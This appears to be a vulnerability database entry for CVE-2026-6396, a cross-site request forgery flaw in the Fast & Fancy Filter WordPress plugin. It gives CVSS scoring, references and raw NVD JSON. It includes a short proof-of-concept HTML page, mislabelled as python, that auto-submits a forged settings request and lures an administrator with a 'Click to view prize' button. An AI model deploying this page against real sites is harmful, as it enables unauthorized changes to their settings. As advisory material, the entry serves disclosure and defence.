CVE-2026-6396

Description

The Fast & Fancy Filter – 3F plugin for WordPress is vulnerable to Cross-Site Request Forgery in versions up to and including 1.2.2. This is due to missing nonce verification in the saveFields() function, which handles the fff_save_settins AJAX action. This makes it possible for unauthenticated attackers to modify plugin filter settings, update arbitrary options, or create new filter posts via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.

CVSS Details

CVSS Score

4.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Fast & Fancy Filter – 3F <= 1.2.2

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!--
PoC for CVE-2026-6396: CSRF in Fast & Fancy Filter Plugin
Description: This HTML snippet demonstrates how a forged request can be sent to modify plugin options.
Usage: Host this code on a server and trick the admin into visiting the URL.
-->
<html>
<body>
  <script>history.pushState('', '', '/')</script>
  <form action="http://target-wordpress-site/wp-admin/admin-ajax.php" method="POST">
    <input type="hidden" name="action" value="fff_save_settins" />
    <input type="hidden" name="option_name" value="malicious_payload" />
    <input type="submit" value="Click to view prize" />
  </form>
  <script>
    document.forms[0].submit();
  </script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-6396
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-6396
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-6396/
[4] VulDB https://vuldb.com/cve/CVE-2026-6396
[5] https://plugins.trac.wordpress.org/browser/fast-fancy-filter-3f/tags/1.2.2/includes/admin/class-admin.php#L24
[6] https://plugins.trac.wordpress.org/browser/fast-fancy-filter-3f/tags/1.2.2/includes/admin/class-admin.php#L419
[7] https://plugins.trac.wordpress.org/browser/fast-fancy-filter-3f/trunk/includes/admin/class-admin.php#L24
[8] https://plugins.trac.wordpress.org/browser/fast-fancy-filter-3f/trunk/includes/admin/class-admin.php#L419
[9] https://www.wordfence.com/threat-intel/vulnerabilities/id/4b5fbf2c-1231-482f-b5a5-819f31da3524?source=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-6396", "sourceIdentifier": "[email protected]", "published": "2026-04-22T09:16:26.810", "lastModified": "2026-04-22T20:22:50.570", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Fast & Fancy Filter – 3F plugin for WordPress is vulnerable to Cross-Site Request Forgery in versions up to and including 1.2.2. This is due to missing nonce verification in the saveFields() function, which handles the fff_save_settins AJAX action. This makes it possible for unauthenticated attackers to modify plugin filter settings, update arbitrary options, or create new filter posts via a forged request granted they can trick a site administrator into performing an action such as clicking on a link."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-352"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/fast-fancy-filter-3f/tags/1.2.2/includes/admin/class-admin.php#L24", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/fast-fancy-filter-3f/tags/1.2.2/includes/admin/class-admin.php#L419", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/fast-fancy-filter-3f/trunk/includes/admin/class-admin.php#L24", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/fast-fancy-filter-3f/trunk/includes/admin/class-admin.php#L419", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/4b5fbf2c-1231-482f-b5a5-819f31da3524?source=cve", "source": "[email protected]"}]}}